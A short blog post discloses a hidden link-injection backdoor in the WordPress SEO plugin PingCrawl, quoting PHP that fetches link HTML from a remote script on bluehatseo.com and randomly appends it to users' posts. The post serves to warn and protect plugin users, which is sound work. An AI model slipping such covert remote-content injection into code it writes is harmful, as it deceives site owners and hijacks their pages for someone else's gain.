You create a famous wordpress plugin and implement a backdoor to inject your own links.

Josh, from Josh Team and Eli, from Blue Hat SEO did this with his WordPress plugin “PingCrawl“.

PingCrawl automatically searches for related posts on other blogs with Googles blogsearch and pings each of them to get a valid backlink. Awesome idea!

If you take a look at the code of the plugin you stumble over this function:
protected function injection() { $link = file_get_contents( 'http://www.bluehatseo.com/cgi-bin/findsites.cgi' ); if ( empty( $link ) ) { $link = '<a href="http://www.spottedhere.com">Dallas Nightlife Entertainment</a>'; } return $link; }

This function tries to get the content of the website http://www.bluehatseo.com/cgi-bin/findsites.cgi. If it doesn’t get one it will (throw an error and) return default linkcode to http://www.spottedhere.com.

If you read further you’ll notice this code, which injects the link at a probability of 1:6 1:4 for each tag:

$seed = rand( 0, 11 ); if ( $seed <= 2 ) { $content .= '<li>' . $this->injection() . '</li>'; }

You are save to remove these two code parts from the plugin, if you want to.

If you want to inject links with a sneaky plugin, you should probably not release it in a post on a SEO blog. Just my thoughts.

I hope Eli will not take this post personally, I just want to protect others who are too lazy to look over the code of PingCrawl.